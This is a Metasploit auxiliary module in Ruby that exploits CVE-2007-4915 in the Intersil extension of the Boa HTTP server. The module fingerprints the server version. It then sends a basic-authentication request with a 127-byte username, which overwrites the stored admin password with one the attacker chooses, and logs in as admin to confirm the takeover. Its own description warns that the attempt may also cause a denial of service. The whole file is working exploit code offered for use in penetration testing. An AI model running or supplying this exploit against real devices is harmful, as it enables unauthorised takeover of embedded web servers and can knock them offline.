Intersil (Boa) HTTPd Basic Authentication Password Reset

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset',
        'Description' => %q{
          The Intersil extension in the Boa HTTP Server 0.93.x - 0.94.11
          allows basic authentication bypass when the user string is greater
          than 127 bytes long.  The long string causes the password to be
          overwritten in memory, which enables the attacker to reset the
          password.  In addition, the malicious attempt also may cause a
          denial-of-service condition.

          Please note that you must set the request URI to the directory that
          requires basic authentication in order to work properly.
        },
        'Author' => [
          'Luca "ikki" Carettoni <luca.carettoni[at]securenetwork.it>', # original discoverer
          'Claudio "paper" Merloni <claudio.merloni[at]securenetwork.it>', # original discoverer
          'Max Dietz <maxwell.r.dietz[at]gmail.com>' # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2007-4915' ],
          [ 'BID', '25676'],
          [ 'PACKETSTORM', '59347']
        ],
        'DisclosureDate' => '2007-09-10'
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The request URI', '/']),
        OptString.new('PASSWORD', [true, 'The password to set', 'pass'])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'uri' => '/',
      'method' => 'GET'
    })

    if (res && (m = res.headers['Server'].match(%r{Boa/(.*)})))
      vprint_status("Boa Version Detected: #{m[1]}")
      return Exploit::CheckCode::Safe if (m[1][0].ord - 48 > 0) # boa server wrong version
      return Exploit::CheckCode::Safe if (m[1][3].ord - 48 > 4)

      return Exploit::CheckCode::Vulnerable
    else
      vprint_status('Not a Boa Server!')
      return Exploit::CheckCode::Safe # not a boa server
    end
  rescue Rex::ConnectionRefused
    print_error('Connection refused by server.')
    return Exploit::CheckCode::Safe
  end

  def run
    return if check != Exploit::CheckCode::Vulnerable

    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_cgi({
      'uri' => uri,
      'method' => 'GET',
      'authorization' => basic_auth(Rex::Text.rand_text_alpha(127), datastore['PASSWORD'])
    })

    if res.nil?
      print_error('The server may be down')
      return
    elsif res && (res.code != 401)
      print_status("#{uri} does not have basic authentication enabled")
      return
    end

    print_status('Server still operational. Checking to see if password has been overwritten')
    res = send_request_cgi({
      'uri' => uri,
      'method' => 'GET',
      'authorization' => basic_auth('admin', datastore['PASSWORD'])
    })

    if !res
      print_error('Server timedout, will not continue')
      return
    end

    case res.code
    when 200
      print_good("Password reset successful with admin:#{datastore['PASSWORD']}")
    when 401
      print_error('Access forbidden. The password reset attempt did not work')
    else
      print_status("Unexpected response: Code #{res.code} encountered")
    end
  end
end